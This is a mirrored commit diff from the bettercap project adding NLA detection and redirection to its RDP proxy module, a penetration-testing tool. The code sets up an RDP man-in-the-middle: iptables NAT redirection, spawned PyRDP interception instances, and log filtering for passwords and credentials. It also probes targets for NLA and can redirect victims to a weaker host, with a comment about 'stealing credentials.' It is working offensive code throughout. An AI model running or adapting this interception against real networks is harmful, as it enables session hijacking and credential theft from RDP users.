mirror of
https://github.com/bettercap/bettercap
synced 2025-08-22 14:24:38 -07:00
Merge pull request #3 from GoSecure/rdp-nla-direction
Added NLA detection and redirection
This commit is contained in:
commit
846d8a5861
1 changed files with 176 additions and 56 deletions
|
@ -1,16 +1,18 @@
|
||||||
package rdp_proxy
|
package rdp_proxy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bufio"
|
||||||
|
"bytes"
|
||||||
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
|
"io"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
golog "log"
|
golog "log"
|
||||||
"net"
|
"net"
|
||||||
"syscall"
|
|
||||||
"bufio"
|
|
||||||
"io"
|
|
||||||
"regexp"
|
"regexp"
|
||||||
"bytes"
|
"time"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/bettercap/bettercap/core"
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
||||||
|
@ -30,6 +32,9 @@ type RdpProxy struct {
|
||||||
port int
|
port int
|
||||||
startPort int
|
startPort int
|
||||||
cmd string
|
cmd string
|
||||||
|
nlaMode string
|
||||||
|
redirectIP net.IP
|
||||||
|
redirectPort int
|
||||||
regexp string
|
regexp string
|
||||||
compiled *regexp.Regexp
|
compiled *regexp.Regexp
|
||||||
active map[string]exec.Cmd
|
active map[string]exec.Cmd
|
||||||
|
@ -47,7 +52,10 @@ func NewRdpProxy(s *session.Session) *RdpProxy {
|
||||||
port: 3389,
|
port: 3389,
|
||||||
startPort: 40000,
|
startPort: 40000,
|
||||||
cmd: "pyrdp-mitm.py",
|
cmd: "pyrdp-mitm.py",
|
||||||
regexp: "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password)",
|
nlaMode: "IGNORE",
|
||||||
|
redirectIP: make(net.IP, 0),
|
||||||
|
redirectPort: 3389,
|
||||||
|
regexp: "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password|error)",
|
||||||
active: make(map[string]exec.Cmd),
|
active: make(map[string]exec.Cmd),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -61,6 +69,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy {
|
||||||
return mod.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
|
// Required parameters
|
||||||
mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to."))
|
mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to."))
|
||||||
mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept."))
|
mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept."))
|
||||||
mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for PyRDP sessions."))
|
mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for PyRDP sessions."))
|
||||||
|
@ -68,6 +77,11 @@ mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", ""
|
||||||
mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts."))
|
mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts."))
|
||||||
mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges."))
|
mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges."))
|
||||||
mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password|error)", "", "Print PyRDP logs matching this regular expression."))
|
mod.AddParam(session.NewStringParameter("rdp.proxy.regexp", "(?i)(cookie:|mstshash=|clipboard data|client info|credential|username|password|error)", "", "Print PyRDP logs matching this regular expression."))
|
||||||
|
// Optional paramaters
|
||||||
|
mod.AddParam(session.NewStringParameter("rdp.proxy.nla.mode", "IGNORE", "(IGNORE|RELAY|REDIRECT)", "Specify how to handle connections to a NLA-enabled host. Either IGNORE, RELAY or REDIRECT."))
|
||||||
|
mod.AddParam(session.NewStringParameter("rdp.proxy.nla.redirect.ip", "", "", "Specify IP to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT"))
|
||||||
|
mod.AddParam(session.NewIntParameter("rdp.proxy.nla.redirect.port", "3389", "Specify port to redirect clients that connects to NLA targets. Require rdp.proxy.nla.mode REDIRECT"))
|
||||||
|
|
||||||
return mod
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -93,6 +107,92 @@ func (mod *RdpProxy) isTarget(ip string) bool {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Verify if the target says anything about enforcing NLA.
|
||||||
|
func verifyNLA(target string, payload []byte) (isNla bool, err error) {
|
||||||
|
var conn net.Conn
|
||||||
|
|
||||||
|
if conn, err = net.Dial("tcp", target); err != nil {
|
||||||
|
return true, err
|
||||||
|
} else if err = conn.SetDeadline(time.Now().Add(5 * time.Second)); err != nil {
|
||||||
|
return true, err
|
||||||
|
}
|
||||||
|
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
conn.Write([]byte(payload))
|
||||||
|
|
||||||
|
if _, err = conn.Write([]byte(payload)); err != nil {
|
||||||
|
return true, err
|
||||||
|
}
|
||||||
|
|
||||||
|
buffer := make([]byte, 1024)
|
||||||
|
|
||||||
|
if n, err := conn.Read(buffer[:]); n != 19 || err != nil {
|
||||||
|
return true, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// If failure code is HYBRID_REQUIRED_BY_SERVER
|
||||||
|
if buffer[11] == 3 && buffer[15] == 5 {
|
||||||
|
return true, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *RdpProxy) isNLAEnforced(target string) (nla bool, err error){
|
||||||
|
// TCP payloads to validate if RDP and TLS are supported.
|
||||||
|
// Will return a special value if NLA is enforced
|
||||||
|
rdpPayload, _ := hex.DecodeString("030000130ee000000000000100080000000000")
|
||||||
|
tlsPayload, _ := hex.DecodeString("030000130ee000000000000100080001000000")
|
||||||
|
|
||||||
|
var nlaCheck1 bool
|
||||||
|
var nlaCheck2 bool
|
||||||
|
|
||||||
|
if nlaCheck1, err = verifyNLA(target, rdpPayload); err != nil {
|
||||||
|
return true, err
|
||||||
|
} else if nlaCheck2, err = verifyNLA(target, tlsPayload); err != nil {
|
||||||
|
return true, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// If NLA is enforced
|
||||||
|
if nlaCheck1 && nlaCheck2 {
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *RdpProxy) startProxyInstance(src string, sport string, dst string, dport string) (err error) {
|
||||||
|
target := fmt.Sprintf("%s:%s", dst, dport)
|
||||||
|
ips := fmt.Sprintf("[%s:%s -> %s:%s]", src, sport, dst, dport)
|
||||||
|
|
||||||
|
// 3.1. Create a proxy agent and firewall rules.
|
||||||
|
args := []string{
|
||||||
|
"-l", fmt.Sprintf("%d", mod.startPort),
|
||||||
|
// "-o", mod.outpath,
|
||||||
|
// "-i", "-d"
|
||||||
|
target,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3.2. Spawn PyRDP proxy instance
|
||||||
|
cmd := exec.Command(mod.cmd, args...)
|
||||||
|
stderrPipe, _ := cmd.StderrPipe()
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
// Wont't handle things like "port already in use" since it happens at runtime
|
||||||
|
mod.Error("PyRDP Start error : %v", err.Error())
|
||||||
|
mod.Info("Failed to start PyRDP, won't intercept target %s", ips)
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use goroutines to keep logging each instance of PyRDP
|
||||||
|
go mod.filterLogs(ips, stderrPipe)
|
||||||
|
|
||||||
|
mod.active[target] = *cmd
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// Filter PyRDP logs to only show those that matches mod.regexp
|
// Filter PyRDP logs to only show those that matches mod.regexp
|
||||||
func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) {
|
func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) {
|
||||||
scanner := bufio.NewScanner(output)
|
scanner := bufio.NewScanner(output)
|
||||||
|
@ -113,26 +213,26 @@ func (mod *RdpProxy) filterLogs(prefix string, output io.ReadCloser) {
|
||||||
}
|
}
|
||||||
|
|
||||||
// Adds the firewall rule for proxy instance.
|
// Adds the firewall rule for proxy instance.
|
||||||
func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) {
|
func (mod *RdpProxy) doProxy(dst string, proxyPort string) (err error) {
|
||||||
_, err = core.Exec("iptables", []string{
|
_, err = core.Exec("iptables", []string{
|
||||||
"-t", "nat",
|
"-t", "nat",
|
||||||
"-I", "BCAPRDP", "1",
|
"-I", "BCAPRDP", "1",
|
||||||
"-d", addr,
|
"-d", dst,
|
||||||
"-p", "tcp",
|
"-p", "tcp",
|
||||||
"--dport", fmt.Sprintf("%d", mod.port),
|
"--dport", fmt.Sprintf("%d", mod.port),
|
||||||
"-j", "REDIRECT",
|
"-j", "REDIRECT",
|
||||||
"--to-ports", port,
|
"--to-ports", proxyPort,
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (mod *RdpProxy) doReturn(dst string, dport gopacket.Endpoint, enable bool) (err error) {
|
func (mod *RdpProxy) doReturn(dst string, dport string) (err error) {
|
||||||
_, err = core.Exec("iptables", []string{
|
_, err = core.Exec("iptables", []string{
|
||||||
"-t", "nat",
|
"-t", "nat",
|
||||||
"-I", "BCAPRDP", "1",
|
"-I", "BCAPRDP", "1",
|
||||||
"-p", "tcp",
|
"-p", "tcp",
|
||||||
"-d", dst,
|
"-d", dst,
|
||||||
"--dport", fmt.Sprintf("%v", dport),
|
"--dport", dport,
|
||||||
"-j", "RETURN",
|
"-j", "RETURN",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
|
@ -201,6 +301,15 @@ func (mod *RdpProxy) Configure() (err error) {
|
||||||
return
|
return
|
||||||
} else if err, mod.regexp = mod.StringParam("rdp.proxy.regexp"); err != nil {
|
} else if err, mod.regexp = mod.StringParam("rdp.proxy.regexp"); err != nil {
|
||||||
return
|
return
|
||||||
|
} else if err, mod.nlaMode = mod.StringParam("rdp.proxy.nla.mode"); err != nil {
|
||||||
|
return
|
||||||
|
} else if mod.nlaMode == "RELAY" {
|
||||||
|
mod.Info("Mode RELAY is unimplemented yet, fallbacking to mode IGNORE.")
|
||||||
|
mod.nlaMode = "IGNORE"
|
||||||
|
} else if err, mod.redirectIP = mod.IPParam("rdp.proxy.nla.redirect.ip"); err != nil {
|
||||||
|
return
|
||||||
|
} else if err, mod.redirectPort = mod.IntParam("rdp.proxy.nla.redirect.port"); err != nil {
|
||||||
|
return
|
||||||
} else if mod.regexp != "" {
|
} else if mod.regexp != "" {
|
||||||
if mod.compiled, err = regexp.Compile(mod.regexp); err != nil {
|
if mod.compiled, err = regexp.Compile(mod.regexp); err != nil {
|
||||||
return
|
return
|
||||||
|
@ -240,53 +349,64 @@ func (mod *RdpProxy) Configure() (err error) {
|
||||||
func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int {
|
func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int {
|
||||||
// 1. Determine source and target addresses.
|
// 1. Determine source and target addresses.
|
||||||
p := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default)
|
p := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default)
|
||||||
src, sport := p.NetworkLayer().NetworkFlow().Src(), p.TransportLayer().TransportFlow().Src()
|
src, sport := p.NetworkLayer().NetworkFlow().Src().String(), fmt.Sprintf("%s", p.TransportLayer().TransportFlow().Src())
|
||||||
dst, dport := p.NetworkLayer().NetworkFlow().Dst(), p.TransportLayer().TransportFlow().Dst()
|
dst, dport := p.NetworkLayer().NetworkFlow().Dst().String(), fmt.Sprintf("%s", p.TransportLayer().TransportFlow().Dst())
|
||||||
|
|
||||||
ips := fmt.Sprintf("[%v:%v -> %v:%v]", src, sport, dst, dport)
|
// TODO : Log everything inside the events stream
|
||||||
|
ips := fmt.Sprintf("[%s:%s -> %s:%s]", src, sport, dst, dport)
|
||||||
|
|
||||||
if mod.isTarget(dst.String()) {
|
if mod.isTarget(dst) {
|
||||||
target := fmt.Sprintf("%v:%v", dst, dport)
|
target := fmt.Sprintf("%s:%s", dst, dport)
|
||||||
|
|
||||||
// 2. Check if the destination IP already has a PyRDP session active, if so, do nothing.
|
// 2. Check if the destination IP already has a PyRDP session active, if so, do nothing.
|
||||||
if _, ok := mod.active[target]; !ok {
|
if _, ok := mod.active[target]; !ok {
|
||||||
// 3.1. Otherwise, create a proxy agent and firewall rules.
|
targetNLA, _ := mod.isNLAEnforced(target)
|
||||||
args := []string{
|
|
||||||
"-l", fmt.Sprintf("%d", mod.startPort),
|
|
||||||
// "-o", mod.outpath,
|
|
||||||
// "-i", "-d"
|
|
||||||
target,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3.2. Spawn PyRDP proxy instance
|
if targetNLA {
|
||||||
cmd := exec.Command(mod.cmd, args...)
|
switch mod.nlaMode {
|
||||||
stderrPipe, _ := cmd.StderrPipe()
|
case "REDIRECT":
|
||||||
|
// TODO : Find a way to disconnect user right after stealing credentials.
|
||||||
if err := cmd.Start(); err != nil {
|
// Start a PyRDP instance to the preconfigured vulnerable host
|
||||||
// Wont't handle things like "port already in use" since it happens at runtime
|
// and forward packets to the target to this host instead
|
||||||
mod.Error("PyRDP Start error : %v", err.Error())
|
mod.Info("%s Target has NLA enabled and mode REDIRECT, forwarding to the vulnerable host...", ips)
|
||||||
mod.Info("Failed to start PyRDP, won't intercept target %s", ips)
|
err := mod.startProxyInstance(src, sport, mod.redirectIP.String(), fmt.Sprintf("%d", mod.redirectPort))
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
// Add an exception in the firewall to avoid intercepting packets to this destination and port
|
// Add an exception in the firewall to avoid intercepting packets to this destination and port
|
||||||
mod.doReturn(dst.String(), dport, true)
|
mod.doReturn(dst, dport)
|
||||||
payload.SetVerdict(nfqueue.NF_DROP)
|
payload.SetVerdict(nfqueue.NF_DROP)
|
||||||
|
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
// Use goroutines to keep logging each instance of PyRDP
|
mod.doProxy(dst, fmt.Sprintf("%d", mod.startPort))
|
||||||
go mod.filterLogs(ips, stderrPipe)
|
|
||||||
|
|
||||||
// 3.3. Add a NAT rule in the firewall for this particular target IP
|
|
||||||
mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true)
|
|
||||||
mod.active[target] = *cmd
|
|
||||||
mod.startPort += 1
|
mod.startPort += 1
|
||||||
|
default:
|
||||||
|
// Add an exception in the firewall to avoid intercepting packets to this destination and port
|
||||||
|
mod.Info("%s Target has NLA enabled and mode IGNORE, won't intercept", ips)
|
||||||
|
|
||||||
|
mod.doReturn(dst, dport)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Starts a PyRDP instance.
|
||||||
|
if err := mod.startProxyInstance(src, sport, dst, dport); err != nil {
|
||||||
|
// Add an exception in the firewall to avoid intercepting packets to this destination and port
|
||||||
|
mod.doReturn(dst, dport)
|
||||||
|
payload.SetVerdict(nfqueue.NF_DROP)
|
||||||
|
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add a NAT rule in the firewall for this particular target IP
|
||||||
|
mod.doProxy(dst, fmt.Sprintf("%d", mod.startPort))
|
||||||
|
mod.startPort += 1
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
mod.Info("Non-target, won't intercept %s", ips)
|
mod.Info("Non-target, won't intercept %s", ips)
|
||||||
|
|
||||||
// Add an exception in the firewall to avoid intercepting packets to this destination and port
|
// Add an exception in the firewall to avoid intercepting packets to this destination and port
|
||||||
mod.doReturn(dst.String(), dport, true)
|
mod.doReturn(dst, dport)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Force a retransmit to trigger the new firewall rules. (TODO: Find a more efficient way to do this.)
|
// Force a retransmit to trigger the new firewall rules. (TODO: Find a more efficient way to do this.)
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue